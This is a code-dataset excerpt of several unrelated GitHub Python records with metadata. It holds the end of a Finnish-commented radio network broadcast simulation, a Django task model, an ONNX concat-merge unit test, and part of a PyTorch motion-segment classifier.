r = (math.sqrt((node.x - rx.x) ** 2 + (node.y - rx.y) ** 2))\n                    if r > 0:\n                        if message not in rx.messages:\n                            power += node.pwr / (4 * math.pi * (r * r))\n                            tx_nodes.append(node)\n                        if message in rx.messages:\n                            pass\n\n            # Valitaan uusi lähettäjien joukko, jos vastaanottoteho on riittävä\n            if power > (noise + rx_power):\n                noise = noise + rx_power\n                rx_power = power\n                final_tx_nodes = tx_nodes.copy()\n                tx_nodes.clear()\n                rx_message = message\n                power = 0\n\n        if (rx_power < noise *11):\n            final_tx_nodes.clear()\n\n    if len(final_tx_nodes) > 0:\n        if rx_power > noise * 11:\n            rx_message.nodes[hops + 1].append(rx)\n            rx.messages.append(rx_message)\n            rx.tx_slots.append(hops + 1)\n            for node in final_tx_nodes:\n                draw_arrow(node, rx, hops)\n\n#Lisää solmukohtaiset tiedot kuvaan\ndef add_info():\n    if plot == True:\n        for node in nodes:\n            i = 0\n            for message in node.messages:\n                if len(node.tx_slots) > 0:\n                    if len(node.tx_slots) > i:\n                        text = 'M:{} H:{}'.format(message.index, node.tx_slots[i])\n                        plt.annotate(text, (node.x + 0.5, node.y + i * area / 70))\n                i = i + 1\n\n#apufunktio usean solmun lisäämiseen\ndef add_n_messages(count, same_slot):\n    if same_slot == True:\n        for i in range(0, count):\n            add_message(nodes[i], i, 0)\n    if same_slot == False:\n        for i in range(0, count):\n            add_message(nodes[i], i, i)\n\n#Apufunktio kattavuuden laskemiseen\ndef calculate_recieved(n_messages, nodes):\n    received = 0\n    for node in nodes:\n        received = received + len(node.tx_slots)\n    return received / (n_messages * len(nodes))\n\n\ndef random_test():\n    create_nodes()\n    for node in nodes:\n        if plot == True:\n            plt.scatter(node.x, node.y, color='k')\n    add_n_messages(2, True)\n    for i in range(0, 20):\n        for node in nodes:\n            receive(i, node)\n    add_info()\n    if plot == True:\n        plt.xlim(0, area)\n        plt.ylim(0, area)\n\n\ndef scatter_nodes():\n    for node in nodes:\n        if plot == True:\n            plt.scatter(node.x, node.y, color='k')\n\n\nif False == True:\n    fig, ax = plt.subplots()\n    create_nodes(number_of_nodes)\n    scatter_nodes()\n    add_message(nodes[1], 0, 0)\n    add_message(nodes[0], 1, 0)\n    #Simuloitavien aikaviipaleiden lukumäärä\n    for i in range(0, 10):\n        for node in nodes:\n            receive(i, node)\n    add_info()\n    if plot == True:\n        plt.xlim(0, area)\n        plt.ylim(0, area)\n        plt.show()\n    print(calculate_recieved(1, nodes))\n\n#Lähetyksien välisen viiveen vaikutus\nif False == True:\n    fig, ax = plt.subplots()\n    values = []\n    slots = []\n    for n_nodes in range(50, 450, 50):\n        cdf = []\n        for delay in range(0, 8):\n            res = []\n            for iter in range(0, 1000):\n                nodes.clear()\n                messages.clear()\n                create_nodes(n_nodes,3)\n                scatter_nodes()\n                add_message(nodes[0], 0, 0)\n                add_message(nodes[1], 1, delay)\n                #Simuloitavien aikaviipaleiden lukumäärä\n                for i in range(0, 25):\n                    for node in nodes:\n                        receive(i, node)\n                # print(calculate_recieved(2,nodes))\n                res.append(calculate_recieved(2, nodes))\n            cdf.append(sum(res) / len(res))\n        values.append(cdf)\n\n    for series in range(len(values)):\n        plt.plot(range(len(values[series])), values[series], label=(series + 1) * 50)\n    plt.xlabel(\"Viive lähetyksien välillä\")\n    plt.ylabel(\"kattavuus\")\n    plt.legend(title=\"solmujen lukumäärä\")\n    plt.grid()\n    plt.show()\n\n#Solmujen lukumäärän vaikutus kattavuuteen\nif False == True:\n    fig, ax = plt.subplots()\n    cdf = []\n    for n_nodes in range(5, 80):\n        res = []\n        for iter in range(0, 10000):\n            nodes.clear()\n            messages.clear()\n            create_nodes(n_nodes, 15)\n            scatter_nodes()\n            add_message(nodes[0], 0, 0)\n            #Simuloitavien aikaviipaleiden lukumäärä\n            for i in range(0, 25):\n                for node in nodes:\n                    receive(i, node)\n            # print(calculate_recieved(2,nodes))\n            res.append(calculate_recieved(1, nodes))\n        cdf.append(sum(res) / len(res))\n    # cdf.sort()\n\n    plt.plot(range(len(cdf)), cdf)\n    plt.xlabel(\"Solmujen lukumäärä\")\n    plt.ylabel(\"kattavuus\")\n    plt.grid()\n\n    plt.show()\n#Viestin leviäminen aikaviipaleiden funktiona\nif False == True:\n    fig, ax = plt.subplots()\n    cdf = []\n    for n_slots in range(0, 10):\n        res = []\n        for iter in range(0, 5000):\n            nodes.clear()\n            messages.clear()\n            create_nodes(60, 15)\n            scatter_nodes()\n            add_message(nodes[0], 0, 0)\n            #Simuloitavien aikaviipaleiden lukumäärä\n            for i in range(0, n_slots):\n                for node in nodes:\n                    receive(i, node)\n            # print(calculate_recieved(2,nodes))\n            res.append(calculate_recieved(1, nodes))\n        cdf.append(sum(res) / len(res))\n    # cdf.sort()\n\n    plt.plot(range(len(cdf)), cdf)\n    plt.xlabel(\"Aikaviipaleita\")\n    plt.ylabel(\"kattavuus\")\n    plt.grid()\n    plt.show()\n#\nif False == True:\n    fig, ax = plt.subplots()\n    values = []\n    slots = []\n    for n_nodes in range(10, 110, 10):\n        cdf = []\n        for timeslots in range(0, 13):\n            res = []\n            for iter in range(0, 1000):\n                nodes.clear()\n                messages.clear()\n                create_nodes(n_nodes, 3)\n                scatter_nodes()\n                add_message(nodes[0], 0, 0)\n                #Simuloitavien aikaviipaleiden lukumäärä\n                for i in range(0, timeslots):\n                    for node in nodes:\n                        receive(i, node)\n                # print(calculate_recieved(2,nodes))\n                res.append(calculate_recieved(1, nodes))\n            cdf.append(sum(res) / len(res))\n        values.append(cdf)\n\n    for series in range(len(values)):\n        plt.plot(range(len(values[series])), values[series], label=(series + 1) * 10)\n    plt.xlabel(\"Aikaviipaletta\")\n    plt.ylabel(\"kattavuus\")\n    plt.legend(title=\"solmujen lukumäärä\")\n    plt.grid()\n    plt.show()\n\nif True == True:\n    fig, ax = plt.subplots()\n    values = []\n    powers = [1, 2, 3, 4, 5, 10, 15]\n    for pwr in range(0, len(powers)):\n        cdf = []\n        for n_nodes in range(20, 150):\n            res = []\n            for iter in range(0, 3):\n                nodes.clear()\n                messages.clear()\n                create_nodes(n_nodes, powers[pwr])\n                scatter_nodes()\n                add_message(nodes[0], 0, 0)\n                #Simuloitavien aikaviipaleiden lukumäärä\n                for i in range(0, 25):\n                    for node in nodes:\n                        receive(i, node)\n                # print(calculate_recieved(2,nodes))\n                res.append(calculate_recieved(1, nodes))\n            cdf.append(sum(res) / len(res))\n        values.append(cdf)\n\n    for series in range(len(values)):\n        plt.plot(range(len(values[series])), values[series], label=powers[series])\n    plt.xlabel(\"solmujen lukumäärä\")\n    plt.ylabel(\"kattavuus\")\n    plt.legend(title=\"lähetysteho\")\n    plt.grid()\n    plt.show()", "repo_name": "JuhaniSa/BRN_sim", "sub_path": "simv2.py", "file_name": "simv2.py", "file_ext": "py", "file_size_in_byte": 11649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.cm.get_cmap", "line_number": 11, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 49, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 50, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 53, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 56, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 97, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 105, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 112, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 114, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 116, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.arrow", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Circle", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 153, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 156, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 221, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 221, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 283, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 283, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 310, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 310, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 333, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 336, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 336, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 359, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 359, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 361, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 362, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 362, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 363, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 363, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 364, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 364, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 367, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 367, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 390, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 390, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 391, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 391, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 392, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 392, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 393, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 393, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 394, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 394, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 395, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 395, "usage_type": "name"}]}
{"seq_id": "22473921780", "text": "from django.db import models\r\nfrom django.contrib.auth.models import User\r\n\r\n# Create your models here.\r\nclass Task(models.Model):\r\n    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True) #Default User model for authentication in Django\r\n    #When a user deletes the account, all their tasks are deleted too.\r\n    #Many tasks can have 1 user, so we use foreignkey.\r\n    title = models.CharField(max_length=200)\r\n    description = models.TextField(null=True,blank=True)\r\n    complete = models.BooleanField(default=False)\r\n    created = models.DateTimeField(auto_now_add=True)\r\n\r\n    def __str__(self):\r\n        return self.title\r\n    \r\n    class Meta:\r\n        ordering = ['complete'] \r\n        #Orders the model by 'complete' status when we return a list", "repo_name": "raytonlin1/Full-stack-Django-Todo-List-App", "sub_path": "base/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.models.Model", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 6, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 6, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}]}
{"seq_id": "23319811045", "text": "import unittest\n\nimport numpy as np\nimport onnx\nfrom onnx import (\n    helper,\n    TensorProto,\n)\n\nfrom auto_optimizer.graph_refactor.onnx.graph import OnnxGraph\nfrom auto_optimizer.pattern.knowledges.knowledge_merge_consecutive_concat import KnowledgeMergeConsecutiveConcat\nfrom helper import KnowledgeTestHelper, OptimizationConfig\n\n\ndef make_c2_concat_model(onnx_name, x, y, z, diff_axis=False):\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, x.shape)\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, y.shape)\n    Z = helper.make_tensor_value_info(\"Z\", TensorProto.FLOAT, z.shape)\n\n    O = helper.make_tensor_value_info(\"O\", TensorProto.FLOAT, None)\n\n    axis = 1 if diff_axis else 0\n    node_concat0 = helper.make_node(\"Concat\", [\"X\", \"Y\"], [\"X_S\"], \"Concat0\", axis=0)\n    node_concat1 = helper.make_node(\"Concat\", [\"X_S\", \"Z\"], [\"O\"], \"Concat1\", axis=axis)\n\n    graph = helper.make_graph([node_concat0, node_concat1], \"continue_concat_test\", [X, Y, Z], [O])\n    model = helper.make_model(graph)\n\n    del model.opset_import[:]\n    opset = model.opset_import.add()\n    opset.domain = ''\n    opset.version = 14\n    onnx.save(model, onnx_name)\n\n\nclass TestKnowledgeMergeConsecutiveConcat(unittest.TestCase, KnowledgeTestHelper):\n\n    def test_merge_c2_concat(self):\n        x = np.random.randn(2, 1, 2).astype(np.float32)\n        y = np.random.randn(1, 1, 2).astype(np.float32)\n        z = np.random.randn(3, 1, 2).astype(np.float32)\n\n        onnx_name = \"c2_concat\"\n        onnx_ori = f\"./onnx/{onnx_name}.onnx\"\n        onnx_opt = f\"./onnx/{onnx_name}_optimize.onnx\"\n\n        make_c2_concat_model(onnx_ori, x, y, z, False)\n\n        graph = OnnxGraph.parse(onnx_ori)\n        cfg = OptimizationConfig(\n            graph=graph,\n            knowledge=KnowledgeMergeConsecutiveConcat(),\n            onnx_ori=onnx_ori,\n            onnx_opt=onnx_opt,\n        )\n        self.assertTrue(self.check_optimization(cfg=cfg, expect=True))\n        feeds = [\n            {\n                'X': np.random.randn(*x.shape).astype(x.dtype),\n                'Y': np.random.randn(*y.shape).astype(y.dtype),\n                'Z': np.random.randn(*z.shape).astype(z.dtype),\n            }\n            for _ in range(10)\n        ]\n        self.assertTrue(self.check_precision(onnx_ori, onnx_opt, feeds))\n\n    def test_merge_c2_diff_axis_concat(self):\n        x = np.random.randn(2, 1, 2).astype(np.float32)\n        y = np.random.randn(1, 1, 2).astype(np.float32)\n        z = np.random.randn(3, 1, 2).astype(np.float32)\n\n        onnx_name = \"c2_concat_diff_axis\"\n        onnx_ori = f\"./onnx/{onnx_name}.onnx\"\n\n        make_c2_concat_model(onnx_ori, x, y, z, True)\n        graph = OnnxGraph.parse(onnx_ori)\n\n        cfg = OptimizationConfig(\n            graph=graph,\n            knowledge=KnowledgeMergeConsecutiveConcat(),\n        )\n        self.assertTrue(self.check_optimization(cfg=cfg, expect=False))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "Ascend/msadvisor", "sub_path": "auto-optimizer/test/test_knowledge_merge_consecutive_concat.py", "file_name": "test_knowledge_merge_consecutive_concat.py", "file_ext": "py", "file_size_in_byte": 2956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "onnx.helper.make_tensor_value_info", "line_number": 16, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 16, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 16, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 16, "usage_type": "name"}, {"api_name": "onnx.helper.make_tensor_value_info", "line_number": 17, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 17, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 17, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 17, "usage_type": "name"}, {"api_name": "onnx.helper.make_tensor_value_info", "line_number": 18, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 18, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 18, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 18, "usage_type": "name"}, {"api_name": "onnx.helper.make_tensor_value_info", "line_number": 20, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 20, "usage_type": "name"}, {"api_name": "onnx.TensorProto.FLOAT", "line_number": 20, "usage_type": "attribute"}, {"api_name": "onnx.TensorProto", "line_number": 20, "usage_type": "name"}, {"api_name": "onnx.helper.make_node", "line_number": 23, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 23, "usage_type": "name"}, {"api_name": "onnx.helper.make_node", "line_number": 24, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 24, "usage_type": "name"}, {"api_name": "onnx.helper.make_graph", "line_number": 26, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 26, "usage_type": "name"}, {"api_name": "onnx.helper.make_model", "line_number": 27, "usage_type": "call"}, {"api_name": "onnx.helper", "line_number": 27, "usage_type": "name"}, {"api_name": "onnx.save", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 36, "usage_type": "attribute"}, {"api_name": "helper.KnowledgeTestHelper", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 41, "usage_type": "attribute"}, {"api_name": "auto_optimizer.graph_refactor.onnx.graph.OnnxGraph.parse", "line_number": 49, "usage_type": "call"}, {"api_name": "auto_optimizer.graph_refactor.onnx.graph.OnnxGraph", "line_number": 49, "usage_type": "name"}, {"api_name": "helper.OptimizationConfig", "line_number": 50, "usage_type": "call"}, {"api_name": "auto_optimizer.pattern.knowledges.knowledge_merge_consecutive_concat.KnowledgeMergeConsecutiveConcat", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 70, "usage_type": "attribute"}, {"api_name": "auto_optimizer.graph_refactor.onnx.graph.OnnxGraph.parse", "line_number": 76, "usage_type": "call"}, {"api_name": "auto_optimizer.graph_refactor.onnx.graph.OnnxGraph", "line_number": 76, "usage_type": "name"}, {"api_name": "helper.OptimizationConfig", "line_number": 78, "usage_type": "call"}, {"api_name": "auto_optimizer.pattern.knowledges.knowledge_merge_consecutive_concat.KnowledgeMergeConsecutiveConcat", "line_number": 80, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "40860604393", "text": "import numpy as np\nimport pandas as pd\nimport torch\nfrom torch import nn\nfrom tqdm import tqdm\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import f1_score, confusion_matrix\nfrom sklearn.ensemble import RandomForestClassifier\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pickle\n\n\nclass MLP(nn.Module):\n    def __init__(self, in_feats, h_feats, out_feats):\n        super().__init__()\n        self.layers = nn.Sequential(\n            nn.Linear(in_feats, h_feats[0]),\n            nn.ReLU(),\n            nn.Linear(h_feats[0], out_feats),\n            nn.Sigmoid()\n        )\n\n    def forward(self, x):\n        return self.layers(x)\n\n\ndef plot_number_of_segments(df):\n    analytics = df.groupby([\"year\", \"id\", \"sample\"])\n    labels = []\n    values = []\n    for name, group in analytics:\n        labels.append(f\"{name[0]}-{name[1]}-{name[2]}\")\n        values.append(group[\"segment\"].count())\n    y_pos = range(len(labels))\n    plt.figure(figsize=(150, 25))\n    plt.bar(y_pos, values)\n    plt.xticks(y_pos, labels, rotation=90)\n    plt.xlabel(\"Year-Id-Trial\")\n    plt.ylabel(\"Num. of Segments\")\n    plt.savefig(\"segments_count.png\")\n\n\ndef plot_heatmap_normalized(y_test, pred, class_names):\n    cm = confusion_matrix(y_test, pred)\n    conf_matrix_norm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n    conf_matrix_norm = np.nan_to_num(conf_matrix_norm)\n    df_cm_norm = pd.DataFrame(conf_matrix_norm, index=class_names, columns=class_names)\n    sns.heatmap(df_cm_norm, annot=True)\n    plt.xlabel(\"Predicted class\")\n    plt.ylabel(\"True class\")\n    plt.title(\"HeatMap - Normalized\")\n    plt.savefig(\"heatmap_normalized.png\")\n\n\nif __name__ == \"__main__\":\n    data = pd.read_pickle(\"data/mvnx_ballspeed_segmentation.pkl\")\n    data = data.drop(\n        ['gender', 'LeftToe_acc_0', 'LeftToe_acc_1', 'LeftToe_acc_2', 'LeftToe_angular_acc_0', 'LeftToe_angular_acc_1',\n         'LeftToe_angular_acc_2', 'LeftToe_vel_0', 'LeftToe_vel_1', 'LeftToe_vel_2', 'LeftToe_angular_vel_0',\n         'LeftToe_angular_vel_1', 'LeftToe_angular_vel_2', 'LeftToe_ori_0', 'LeftToe_ori_1', 'LeftToe_ori_2',\n         'LeftToe_ori_3', 'LeftToe_pos_0', 'LeftToe_pos_1', 'LeftToe_pos_2'], axis=1)\n\n    class_names = [\"T2\", \"T3\", \"T4\", \"T5\"]\n    segments = data.loc[data[\"segment\"].isin(class_names)]\n    plot_number_of_segments(segments)\n\n    le = LabelEncoder()\n    le.fit(segments[\"segment\"])\n    integer_encoded = le.transform(segments[\"segment\"])\n\n    # \"time\", \"year\", \"id\", \"sample\", \"speed\", \"key\", \"segment\"\n    X_train, X_test, y_train, y_test = train_test_split(\n        segments[segments.columns.difference([\"year\", \"id\", \"sample\", \"speed\", \"key\", \"segment\"])],\n        OneHotEncoder(sparse=False).fit_transform(integer_encoded.reshape(len(integer_encoded), 1)),\n        random_state=0,\n        shuffle=False,\n        test_size=0.1\n    )\n\n    # clf = RandomForestClassifier(n_jobs=-1)\n    # clf.fit(X_train, y_train)\n    # pred = clf.predict(X_test)\n    # score = f1_score(y_test, pred, average=\"micro\")\n    # print(f\"F1: {score}\")\n\n    if torch.cuda.is_available():\n        device = \"cuda:0\"\n    else:\n        device = \"cpu\"\n    print(device)\n\n    X_train = torch.tensor(X_train.to_numpy(), dtype=torch.float).to(device)\n    X_test = torch.tensor(X_test.to_numpy(), dtype=torch.float).to(device)\n    y_train = torch.tensor(y_train).to(device)\n    y_test = np.argmax(y_test, axis=1)\n\n    net = MLP(X_train.size(dim=1), [30], len(le.classes_)).to(device)\n    loss_function = nn.CrossEntropyLoss()\n    optimizer = torch.optim.Adam(net.parameters(), lr=1e-4)\n\n    for epoch in tqdm(range(0, 5000)):\n        current_loss = 0.0\n        optimizer.zero_grad()\n        out = net(X_train)\n        loss = loss_function(out, y_train)\n        loss.backward()\n        optimizer.step()\n        current_loss += loss.item()\n\n    pred = np.argmax(net(X_test).to(\"cpu\").detach().numpy(), axis=1)\n    score = f1_score(y_test, pred, average=\"micro\")\n    print(f\"F1: {score}\")\n\n    plot_heatmap_normalized(y_test, pred, class_names)\n", "repo_name": "kcristinaa/Drag-flik-RAIS-Hackathon", "sub_path": "segmentation.py", "file_name": "segmentation.py", "file_ext": "py", "file_size_in_byte": 4098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 18, "usage_type": "call"}, 